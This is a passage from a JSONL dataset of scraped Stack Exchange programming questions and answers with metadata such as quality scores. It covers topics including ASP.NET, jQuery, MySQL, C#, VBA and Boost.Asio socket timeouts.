locking stuff to worry about!\nYou should probably try something like a caching library, X-Cache comes highly recommended, thats more  likely to give you visible performance gains.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:29.710954"}
{"id": "hf_c1f58f248502", "question": "<p>The MS source server technology uses an initialization file named srcsrv.ini. One of the values identifies the source server location(s), e.g.,</p>\n\n<pre><code>MYSERVER=\\\\machine\\foobar\n</code></pre>\n\n<p>The docs leave much unanswered about this value. To start with, I haven't been able to find the significance of the value name, i.e., what's on the left side--and I don't see it used anywhere else. Hewardt &amp; Pravat in <a href=\"http://www.advancedwindowsdebugging.com/\" rel=\"nofollow noreferrer\">Advanced Windows Debugging</a> say \"The left side ... represents the project name\", but that doesn't seem to jibe with MS's \"MYSERVER\" example.</p>\n\n<p>What <i>is</i> the significance of the left side? Where else is it used? Does the value reference a server or a project, and is there one per server, or one per project?</p>\n", "question_body": "", "answer": "For anyone looking into this in the future, I received the following information from MS:\nThe name on the left side is the logical name of a version \n  control server. The name is also used in the source-indexed symbol files \n  (pdb). For example, a symbol file may contain this string value:\nMYSERVER=mymachine1.sys-mygroup.corp.microsoft.com:2003\nand the source files are referenced like this in pdb:\n*MYSERVER*/base/myfolder/mycode.c\nWhen SrcSrv starts, it looks at Srcsrv.ini for values; these values override the information contained in the .pdb file:\n\"MYSERVER=mymachine.sys-mygroup.corp.microsoft.com:1666\" overrides\n\"MYSERVER=mymachine1.sys-mygroup.corp.microsoft.com:2003\"\nThis enables users to configure a debugger to use an alternative source control server at debug time. The info is documented at\nhttp://msdn.microsoft.com/en-us/library/ms680641.aspx\n.\nSo, it is a logical name for a source server, and its value can be changed at debug time to reference a different server than the one originally used when the PDBs were created.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:29.825229"}
{"id": "hf_942be8bad4eb", "question": "<p>I would like such empty span tags (filled with <code>&amp;nbsp;</code> and space) to be removed:</p>\n\n<p><code>&lt;span&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;/span&gt;</code></p>\n\n<p>I've tried with this regex, but it needs adjusting: </p>\n\n<p><code>(&lt;span&gt;(&amp;nbsp;|\\s)*&lt;/span&gt;)</code></p>\n\n<p><code>preg_replace('#&lt;span&gt;(&amp;nbsp;|\\s)*&lt;/span&gt;#si','&lt;\\\\1&gt;',$encoded);</code></p>\n", "question_body": "", "answer": ".\n```\n```\nqr{<span[^>]*(/>|>\\s*?</span>)}\n```\n```\nShould get the gist of them. ( Including XML style-self closing tags ie:  )\nBut you\nreally\nshouldn't use regex for HTML processing.\nAnswer only relevant to the context of the question that was visible before the formatting errors were corrected", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:29.850007"}
{"id": "hf_6bc5cba8d3d7", "question": "<p>Just that... I get a string which contains a path to a file plus some arguments. How can I recognize the path? I thought about the index of the '.' in the file... but I don't like it.<br>\nWhat about using regular expressions? Can anyone point me in the right direction?</p>\n\n<p>Regards</p>\n\n<p>Edit: Theses are valid entries...<br>\nsomefile.msi /a<br>\nC:\\MyFolder\\SomeFile.exe -i -d</p>\n\n<p>I don't care much about the arguments cause once I have the path I'll assume the rest are arguments</p>\n", "question_body": "", "answer": "Well, before you tackle finding the path in the string, you need to outline a set of rules for what a path in this context\nThis is, for the operating system, a valid filename: a\nSince no directory information is specified, the\ncurrent directory\nwill be used. The file has no extension.\nBut is still a filename.\nIs this a\npath\nin your context? Or do you mean something that has directory information as well?\nExamples of what you need to handle would be useful.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:29.911437"}
{"id": "hf_759c730dcf95", "question": "<p>I have seen the ASP.NET community buzzing about MVC. I know the basics of its origin, and that there are many sites (unless I am mistaken, stack overflow itself) based on ASP.NET MVC.  </p>\n\n<p>From everything I have heard and read about MVC it seems to be the future of ASP.NET development. But since I don't usually dabble in .NET web development I am left wondering the following: when is it appropriate to use MVC and when is it not, and why? Examples of great (and terrible) use of MVC would be fascinating.<br>\nThough I realize there are other implementations of MVC view other languages like RoR I am more interested on its impact for .NET programmers.  </p>\n\n<p>If this has already been gone over, my apologies! </p>\n", "question_body": "", "answer": "Here are my 2 cents about MVC for web applications.  For the sort of GUI apps for which MVC was originally intended, \"listener\" code was required, so that the UI could be updated when events altered the model data.\nIn MVC for the web this is unnecessary, you get your listener for free: the web server, and the HTTP request IS the event.  So really MVC for the web should be even simpler.  Indeed, it could be boiled down to the Mediator pattern, where the Controller mediates between the model and the view.\nThere are two things that there is a lot of confusion about.  Regardless of conventional \"wisdom\":\nFrameworks != MVC\nDatabase Data != \"Model\"\n\"Full stack\" web development frameworks typically add lots of features, and may or may not be MVC-oriented at their core.  One of the features many frameworks add is database access or object relational mapping functionality, and because frameworks and MVC get confused, subsequently database data and the model facet of MVC also get confused.  The model can generally be viewed as the underlying data for the application, but it does NOT have to come from a database.  A good example might be a wiki, where the underlying model/data consists of file revision data, for instance, from RCS.\nHope this helps and I'm sure others will have plenty to add.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:29.969876"}
{"id": "hf_eadb01c355e0", "question": "<p>How can I draw a concave corner rectangle in WPF?</p>\n", "question_body": "", "answer": "```\n```\ndo you mean a rectangle with concave corners?, ie: \n     ____________________\n    |                    |\n  __|                    |__\n |                          |\n |                          |\n |                          |\n |__                      __|\n    |                    |\n    |____________________|\n```\n```\nGiven a rectangle of dimension\n```\nw x h\n```\nwith corner radius\n```\nr\n```\nThere are 4 corners:\n```\n```\nA :  0,0\nB :  w,0\nC :  w,h\nD :  0,h\n```\n```\nThere is an implicit minimum size of\n```\n```\nw = 2r\nh = 2r\n```\n```\nThere are 4 Circle Centers,\n```\nA,B,C,D\n```\nAnd there's thus a grid of edge points:\n```\n```\n(0,0)--(0+r,0)---(w-r,0)---(w,0)\n|                              |\n(0,0+r)                  (w,0+r)\n|                              |\n|                              |\n(0,h-r)                  (w,h-r)\n|                              |\n(0,h)--(0+r,h)---(w-r,h)---(w,h)\n```\n```\nThen its merely a case of computing the arc from one point to another.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:29.993538"}
{"id": "hf_154b311106a8", "question": "<p>As the question says, how do I set the value of a DropDownList control using jQuery?</p>\n", "question_body": "", "answer": "```\n```\n$(\"#mydropdownlist\").val(\"thevalue\");\n```\n```\njust make sure the value in the options tags matches the value in the val method.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:30.087341"}
{"id": "hf_f0ad7aa6521d", "question": "<p>I have a page that spits out db data in long horizontal tables. </p>\n\n<p>I need to print it nicely so it does not cut off. Any tips ?</p>\n", "question_body": "", "answer": "If it doesn't fit on the paper in a readable font, it just doesn't.. In my opinion, huge horizontal tables (be it a HTML table or an Excel sheet with many columns) don't lend well to printing. For that matter, they don't lend well to viewing on a screen either. Remember vertical scrolling is much easier for your users than horizontal scrolling - all thanks to that little wheel on your mouse.\nWorst case, you might need to write a seperate print version which uses a vertical layout.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:30.121687"}
{"id": "hf_73d7d120c59b", "question": "<p>Using <strong>only MySQL</strong>, I'm seeing if it's possible run an insert statement ONLY if the table is new. I successfully created a user variable to see if the table exists. The problem is that you can't use \"WHERE\" along with an insert statement. Any ideas on how to get this working?</p>\n\n<pre><code>// See if the \"country\" table exists -- saving the result to a variable\nSELECT\n    @table_exists := COUNT(*)\nFROM\n    information_schema.TABLES\nWHERE\n    TABLE_SCHEMA = DATABASE() AND TABLE_NAME = 'country';\n\n// Create the table if it doesn't exist\nCREATE TABLE IF NOT EXISTS country (\n    id INT unsigned auto_increment primary key,\n    name VARCHAR(64)\n);\n\n// Insert data into the table if @table_exists &gt; 0\nINSERT INTO country (name) VALUES ('Afghanistan'),('Aland Islands') WHERE 0 &lt; @table_exists;\n</code></pre>\n", "question_body": "", "answer": "```\n```\nIF @TableExists > 0 THEN\n   BEGIN\n       INSERT INTO country (name) VALUES ('Afghanistan'),('Aland Islands');\n   END\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:30.155908"}
{"id": "hf_00cb09a5d2da", "question": "<p>Unlike C++, in C# you can't overload the assignment operator. </p>\n\n<p>I'm doing a custom Number class for arithmetic operations with very large numbers and I want it to have the look-and-feel of the built-in numerical types like int, decimal, etc. I've overloaded the arithmetic operators, but the assignment remains...</p>\n\n<p>Here's an example:</p>\n\n<pre><code>Number a = new Number(55); \nNumber b = a; //I want to copy the value, not the reference\n</code></pre>\n\n<p>Is there a workaround for that issue?</p>\n", "question_body": "", "answer": "You won't be able to work around it having the C++ look, since a = b; has other semantics in C++ than in C#. In C#, a = b; makes a point to the same object like b. In C++, a = b changes the content of a. Both has their ups and downs. It's like you do\n```\n```\nMyType * a = new MyType();\nMyType * b = new MyType(); \na = b; /* only exchange pointers. will not change any content */\n```\n```\nIn C++ (it will lose the reference to the first object, and create a memory leak. But let's ignore that here). You cannot overload the assign operator in C++ for that either.\nThe workaround is easy:\n```\n```\nMyType a = new MyType();\nMyType b = new MyType();\n\n// instead of a = b\na.Assign(b);\n```\n```\nDisclaimer\n: I'm not a C# developer\nYou could create a write-only-property like this. then do a.Self = b; above.\n```\n```\npublic MyType Self {\n    set {\n        /* copy content of value to this */\n        this.Assign(value);\n    }\n}\n```\n```\nNow, this is\nnot\ngood. Since it violates the principle-of-least-surprise (POLS). One wouldn't expect a to change if one does a.Self = b;", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:30.190491"}
{"id": "hf_10ebd1afd45d", "question": "<p>Except perhaps at bigger (or better) shops, the development UI is done by the developers.  In your experience, how much has this impacted the final product, and how much time should we spend getting the development UI right?</p>\n", "question_body": "", "answer": "The interface you're building and showing to your customers is basically all they will ever see. You can sit down with them and talk for hours about what the product is supposed to do, but the number one best method to have the users spot problems or missing functionality, is to show them the interface as it will look like in the final product. You can do this with a prototype or the actual interface as it is being built.\nSo I would say the interface should look pretty much like what you will be delivering at the end during development. This will guarantee that you get the right feedback, and that the user knows what he is getting. Of course, you can build an interface which doesn't exactly have the style of the final product (colors, window styles, fonts, etc...), but the functionality of the product you're building should be clear as early on as possible.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:30.284839"}
{"id": "hf_ba2aaa570b99", "question": "<p>In my master pages I have <code>&lt;form ... action=\"\" ...&gt;</code>, in pre SP1, if I viewed the source the action attribute would be an empty string.  In SP1 the action attribute is overridden \"MyPage.aspx?MyParams\", unfortunately, this causes my postbacks to fail as I have additional pathinfo in the URL (ie. MyPage.aspx\\CustomerData?MyParams). I have checked the action attribute in the OnLoad event and it is still blank at this time, so somewhere SP1 is overriding this :(.</p>\n\n<p>Sorry, I just realized that part of my post was missing since I did not use the markdown correctly.</p>\n", "question_body": "", "answer": "Maybe you can find the solution here in\nthis ASP.NET Forum post\n(Known Issues / Breaking Changes for ASP.NET in .NET 3.5 Service Pack 1).\nIssue\nThe HtmlForm action attribute is now honored when defined in declarative markup.\nReason\n3.5 SP1 added a settable Action property to the HtmlForm type.  This new feature makes it much easier for developers to explicitly set the form’s action attribute for scenarios where a developer wants to use a different Url than the normal postback-generated Url.  However this change also means that if the action attribute has been set in an .aspx page’s declarative markup, ASP.NET will use the setting from the markup when rendering a\n```\n<form />\n```\nelement.\nWorkaround\nPrevious versions of ASP.NET always ignored the action attribute if it was present in the declarative markup for a\n```\n<form />\n```\nelement.  Developers should remove the action attribute from their declarative markup to return to the original behavior where ASP.NET renders the postback Url.\nExample\nBefore (the action attribute was ignored by ASP.NET as dead code):\n```\n```\n<form name=\"form1\" method=\"post\" runat=\"server\" action=\"test.aspx\"></form>\n```\n```\n3.5 SP1 (remove the action attribute to have ASP.NET render the postback Url):\n```\n```\n<form name=\"form1\" method=\"post\" runat=\"server\"></form>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:30.330871"}
{"id": "hf_7795dc69aa4c", "question": "<p>I am trying to animate an object, let's say its a car. I want it go from point</p>\n\n<p><em>x1,y1,z1</em></p>\n\n<p>to point <em>x2,y2,z2</em> . It moves to those points, but it appears to be <em>drifting</em> rather than pointing in the direction of motion. So my question is: how can I solve this issue in my updateframe() event? Could you point me in the direction of some good resources?</p>\n\n<p>Thanks.</p>\n", "question_body": "", "answer": "You need to work out the initial orientation of the car, and the final orientation of the car at its destination, then interpolate between them to determine the orientation in between for the current timestep.\nThis\narticle describes the mathematics behind doing the interpolation, as well as some other things to do with rotating objects that may be of use to you. gamasutra.com in general is an excellent resource for this sort of thing.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:30.366889"}
{"id": "hf_5a0b2496fff6", "question": "<p>When I create a graph after using range.copy and range.paste it leaves the paste range selected, and then when I create a graph a few lines later, it uses the selection as the first series in the plot.  I can delete the series, but is there a more elegant way to do this?  I tried </p>\n\n<pre><code>Set selection = nothing\n</code></pre>\n\n<p>but it won't let me set selection.  I also tried selection.clear, but that just cleared the last cells that were selected, and still added an extra series to the plot.</p>\n", "question_body": "", "answer": "I do not think that this can be done. Here is some code copied with no modifications from Chip Pearson's site:\nhttp://www.cpearson.com/excel/UnSelect.aspx\n.\nUnSelectActiveCell\nThis procedure will remove the Active Cell from the Selection.\n```\n```\nSub UnSelectActiveCell()\n    Dim R As Range\n    Dim RR As Range\n    For Each R In Selection.Cells\n        If StrComp(R.Address, ActiveCell.Address, vbBinaryCompare) <> 0 Then\n            If RR Is Nothing Then\n                Set RR = R\n            Else\n                Set RR = Application.Union(RR, R)\n            End If\n        End If\n    Next R\n    If Not RR Is Nothing Then\n        RR.Select\n    End If\nEnd Sub\n```\n```\nUnSelectCurrentArea\nThis procedure will remove the Area containing the Active Cell from the Selection.\n```\n```\nSub UnSelectCurrentArea()\n    Dim Area As Range\n    Dim RR As Range\n\n    For Each Area In Selection.Areas\n        If Application.Intersect(Area, ActiveCell) Is Nothing Then\n            If RR Is Nothing Then\n                Set RR = Area\n            Else\n                Set RR = Application.Union(RR, Area)\n            End If\n        End If\n    Next Area\n    If Not RR Is Nothing Then\n        RR.Select\n    End If\nEnd Sub\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:30.401908"}
{"id": "hf_96e0a4e39815", "question": "<p>I can get simple examples to work fine as long as there's no master page involved. All I want to do is click a button and have it say \"hello world\" with the javascript in a .js file, using a master page. Any help very much appreciated :)</p>\n", "question_body": "", "answer": "Just move the\n```\n<script type=\"text/javascript\" src=\"jquery.js\" />\n```\ntag into the head tag in the master page. Then you can use jquery in all content pages.\nThere is no magic about using master pages with jQuery.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:30.425248"}
{"id": "hf_ce68033847e4", "question": "<p>I have a few ASP.Net database front-end websites where MS Access is the back-end.  I am trying to use ASP.Net dynamic data website.  Should I change this database to SQL Server Express or something else to make it easier or should this work from with MS Access.</p>\n", "question_body": "", "answer": "Pick SQL Express for these reasons:\nScaling\n: MS Access will never scale.  Once you get over about 10 concurrent connections you will start to see trouble.  SQL Express will scale.  You can always move SQL Express up to a full-blow SQL Server installation.  While this is somewhat true of Access, some of your SQL statements and data types may not transfer cleanly.\nSecurity\n: SQL Server has a much better security model than Access.  You can lock down the schema in your db per user.  You can also better administrate user access (think dev user vs test user vs production user).\nPerformance\n: This is similar to scaling.  If you see a traffic spike to your web site, Access may not handle it while SQL Server Express probably will.\nTools\n: Tools and libraries like LINQ are always going to be targeted at SQL Server.  You will get better support and better documentation using them this way.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:30.472109"}
{"id": "hf_4026e4e237a9", "question": "<p>I have a Java SOAP data service which sits on top of a Sybase database which, for reasons out of my control, has unreliable performance. The database is part of a vendor package which has been modified by an internal team and most of the issues are caused by slow response times at certain times of the day. </p>\n\n<p>The SOAP service provides data to a calculation grid and when I request data, I need the response time to be both fast and <em>consistent</em>.  The service provides basic CRUD functionality, but the ratio of reads to writes is approximately 100:1.  </p>\n\n<p>What is the best strategy to isolate myself from the database's unreliable performance and ensure that the SOAP service is fast and reliable?</p>\n", "question_body": "", "answer": "I have seen this issue a few times, normally with a vendor database.\nIf this is on Windows, you could create a Windows service as an intermediary between the SOAP service and the database. Then put a message queue (either MSMQ or a JMS implementation such as MQ Series) between the SOAP service and Windows service for asynchronous communications. In this way the database performance issues will no longer affect the SOAP service. This solution does, however, come at the cost of increased complexity.\nNote that a .NET web service can be called by, and respond asynchronously to, its clients. I'm not sure if that's possible with a Java SOAP service.\nIf this is on some flavour of Unix, I assume it has similar functionality to a Windows service - maybe a daemon.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:30.542422"}
{"id": "hf_35dd0fb06df2", "question": "<p>I am trying to insert a new row into my table which holds the same data as the one I am trying to select from the same table but with a different <code>user_id</code> and without a fixed value for <code>auto_id</code> since that is an auto_increment field, and setting <code>ti</code> to NOW(). Below is my mockup query where '1' is the new <code>user_id</code>. I have been trying many variations but am still stuck, anyone who can help me with turning this into a working query. </p>\n\n<pre><code>INSERT INTO `lins` ( `user_id` , `ad` , `ke` , `se` , `la` , `ra` , `ty` , `en` , `si` , `mo` , `ti` , `de` , `re` , `ti` ) (\n\nSELECT '1', `ad` , `ke` , `se` , `la` , `ra` , `ty` , `en` , `si` , `mo` , `ti` , `de` , `re` , NOW( )\nFROM `lins`\nWHERE autoid = '4'\nAND user_id = '2'\n)\n</code></pre>\n\n<p>Thank you for taking the time to help me out!</p>\n", "question_body": "", "answer": "I think you need to explicitly match the line terminators, as well as handle spaces better as others have suggested.  Assuming the user can choose between \\r and \\n, try\n```\n```\n@\"(?<select>\\Aselect .+)[\\n\\r]\" +\n@\"(?<from>\\s*from .+)[\\n\\r]\" +\n@\"(?<where>\\s*where .+)[\\n\\r]\" +\n@\"(?<groupBy>\\s*group by .+)[\\n\\r]\" +\n@\"(?<having>\\s*having .+)[\\n\\r]\"\n```\n```\nAs long as you are using regular expressions, you probably want to do a bit better:\n```\n```\n@\"\\Aselect (?<select>.+)[\\n\\r]\" +\n@\"\\s*from (?<from>.+)[\\n\\r]\" +\n@\"\\s*where (?<where>.+)[\\n\\r]\" +\n@\"\\s*group by (?<groupBy>.+)[\\n\\r]\" +\n@\"\\s*having (?<having>.+)[\\n\\r]\"\n```\n```\nMy biggest problem with regular expressions for this sort of use is that the only error message you can give is that things failed.  You can't give the user any further information about what they did wrong.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:30.600352"}
{"id": "hf_2a0bc92dfdc0", "question": "<p>What type of client is likely to support XP (Extreme Programming) practices?</p>\n", "question_body": "", "answer": "If your team achieves great results with a proven track-record, then companies desiring a successful result.  If the converse is true, only companies who are wandering blindly will be interested.\nThere is the\nodd\ncase where the client will want a certain practices followed. Like a experienced dev manager outsourcing a project to an external firm, or potentially a client who has heard that XP is good in passing but has no real knowledge or experience with it. In the former the experienced consumer will know what he wants and if you do not provide those services they will go elsewhere.  If you try to fake it, they will know and be most displeased.  The later, it doesn't matter so much as long as they get good results and think it was their own wisdom that brought them forth from the ground.\nEither way, it is results that matter.\nNow begins my diatribe which so far has inspired much ire:\nWould you jeopardize your good practices just to suit a client? If you are staunchly in favour of XP, sell it! If they want you to use a methodology that you strongly disagree with. Tell them that. If you can't come to a consensus, there should be no deal.\nDo I tell a baker what grain to use? How hot to have the ovens? Hell no.  If I say I want poppy seeds on the buns I don't care how they are put there so long as they are there. Dp I select a baker based on his methods, or on how damn tasty the bread is? Letting a non programmer tell you how to do your craft is just plain bad.\nIf you are trying to extol the virtues of XP then be upfront, pitch the cost-benefits and ROI.  Show them why it is better for them in terms of developer efficiency and defect reduction.  If you are working for non-programmers, you are the expert, take the reigns and give advice.\nIf your team excels at XP and has great results you will have no problem selling any potential client on your practices.  Results matter to clients; if you can prove that you consistently produce high quality products within consistent timelines you should have no problem selling your methodology. (with some exceptions that absolutely require waterfall).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:30.665287"}
{"id": "hf_81b1f246de55", "question": "<p>Based on their work, how do you distinguish a great SQL developer?  </p>\n\n<p>Examples might include:</p>\n\n<p>Seldom uses CURSORs, and tries to refactor them away.<br>\nSeldom uses temporary tables, and tries to refactor them away.<br>\nHandles NULL values in OUTER JOINs with confidence.<br>\nAvoids SQL extensions that are not widely implemented.\nKnows how to indent with elegance.</p>\n", "question_body": "", "answer": "I don't think that cursors, temporary tables or other SQL practices are inherently bad or that their usage is a clear sign of how good a database programmer is.\nI think there is the right tool for every type of problem. Sure, if you only have a hammer, everything looks like a nail. I think a great SQL programmer or database developer is a person who knows which tool is the right one in a specific situation. IMHO you can't generalize excluding specific patterns.\nBut a rule of thumb may be: a great database developer will find a more\nshort and elegant solution\nfor complex situations than the average programmer.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:30.688566"}
{"id": "hf_3b07a9ad1816", "question": "<p>Does anyone know because all the places I've tried seem to timeout!</p>\n", "question_body": "", "answer": "You can download JSTL 1.1\nhere\nand JSTL 1.2\nhere\n.\nSee also:\nJSTL wiki page", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:30.747295"}
{"id": "hf_a211040da610", "question": "<p>which one of the two is more spread? I want to read out the version number from <a href=\"http://freshmeat.net/projects-xml/mysql/mysql.xml?branch_id=46519\" rel=\"nofollow noreferrer\">http://freshmeat.net/projects-xml/mysql/mysql.xml?branch_id=46519</a> but I want to use the one which more people have.</p>\n\n<p>If you know another way to get the latest stable version number from mysql please tell me ;)</p>\n", "question_body": "", "answer": "For this kind of task, reading the document into a\n```\nDomDocument\n```\nand using\n```\nDomXPath\n```\nis probably more suitable.\nTo answer your question, both libraries (as well as\n```\nDomDocument\n```\n+\n```\nDomXPath\n```\n) are standard outfit with PHP5, so they would be equally fine choices.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:30.782676"}
{"id": "hf_7eb2df3e5181", "question": "<p>Well, what is one?</p>\n", "question_body": "", "answer": "It's a\nUniversally Unique Identifier", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:30.835668"}
{"id": "hf_f6deefde89f1", "question": "<p>I need to allow the vertical scrollbar in a multiselect listbox (VB6) however, when the control is disabled, I can't scroll.</p>\n\n<p>I would think there is an API to allow this, but my favorite <a href=\"http://vbnet.mvps.org\" rel=\"nofollow noreferrer\">VB6 site (MVPS VB.NET)</a> does not have a way.</p>\n\n<p>I toyed with pretending it was disabled, and ignore the clicks... but to do that with VB6 code is really ugly... so if this is a solution, I need an API to ignore the clicks.</p>\n\n<p>Thanks for your help.</p>\n", "question_body": "", "answer": "Rather than looking for the API to ignore clicks, can't you just ignore the events? (i.e. just don't do when the user clicks/selects something).\nAnd, I think there is a\n```\nSelectionMode\n```\nproperty to disable multiselect and make it single select.\nIf you don't want the user to be able to select anything at all, you can try hooking into the\n```\nSelectionIndexChanged\n```\nevent and set the\n```\nSelectionIndex\n```\nto -1.\nMy VB6 is a bit rustly, so sorry if the event/property name don't match exactly.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:30.892870"}
{"id": "hf_40d2c33aee9d", "question": "<p>can you set SO_RCVTIMEO and SO_SNDTIMEO socket options in boost asio?</p>\n\n<p>If so how?</p>\n\n<p>Note I know you can use timers instead, but I'd like to know about these socket options in particular. </p>\n", "question_body": "", "answer": "It doesn't appear to be built into Boost.Asio (as of current Boost SVN), but, if you're willing to write your own classes to simulate the\n```\nboost::asio::detail::socket_option\n```\nones, you can always follow the examples in\n```\nboost/asio/socket_base.hpp\n```\nand do the following:\n```\n```\ntypedef boost::asio::detail::socket_option::timeval<SOL_SOCKET, SO_SNDTIMEO>\n    send_timeout;\ntypedef boost::asio::detail::socket_option::timeval<SOL_SOCKET, SO_RCVTIMEO>\n    receive_timeout;\n```\n```\n(Obviously, I'm not suggesting you inject the\n```\ntimeval\n```\nclass into the\n```\nboost::asio::detail::socket_option\n```\nnamespace, but I can't think of a good one to use at the moment. :-P)\nEdit: My sample implementation of\n```\nsocket_option::timeval\n```\n, based on\n```\nsocket_option::integer\n```\n:\n```\n```\n// Helper template for implementing timeval options.\ntemplate <int Level, int Name>\nclass timeval\n{\npublic:\n  // Default constructor.\n  timeval()\n    : value_(zero_timeval())\n  {\n  }\n\n  // Construct with a specific option value.\n  explicit timeval(::timeval v)\n    : value_(v)\n  {\n  }\n\n  // Set the value of the timeval option.\n  timeval& operator=(::timeval v)\n  {\n    value_ = v;\n    return *this;\n  }\n\n  // Get the current value of the timeval option.\n  ::timeval value() const\n  {\n    return value_;\n  }\n\n  // Get the level of the socket option.\n  template <typename Protocol>\n  int level(const Protocol&) const\n  {\n    return Level;\n  }\n\n  // Get the name of the socket option.\n  template <typename Protocol>\n  int name(const Protocol&) const\n  {\n    return Name;\n  }\n\n  // Get the address of the timeval data.\n  template <typename Protocol>\n  ::timeval* data(const Protocol&)\n  {\n    return &value_;\n  }\n\n  // Get the address of the timeval data.\n  template <typename Protocol>\n  const ::timeval* data(const Protocol&) const\n  {\n    return &value_;\n  }\n\n  // Get the size of the timeval data.\n  template <typename Protocol>\n  std::size_t size(const Protocol&) const\n  {\n    return sizeof(value_);\n  }\n\n  // Set the size of the timeval data.\n  template <typename Protocol>\n  void resize(const Protocol&, std::size_t s)\n  {\n    if (s != sizeof(value_))\n      throw std::length_error(\"timeval socket option resize\");\n  }\n\nprivate:\n  static ::timeval zero_timeval()\n  {\n    ::timeval result = {};\n    return result;\n  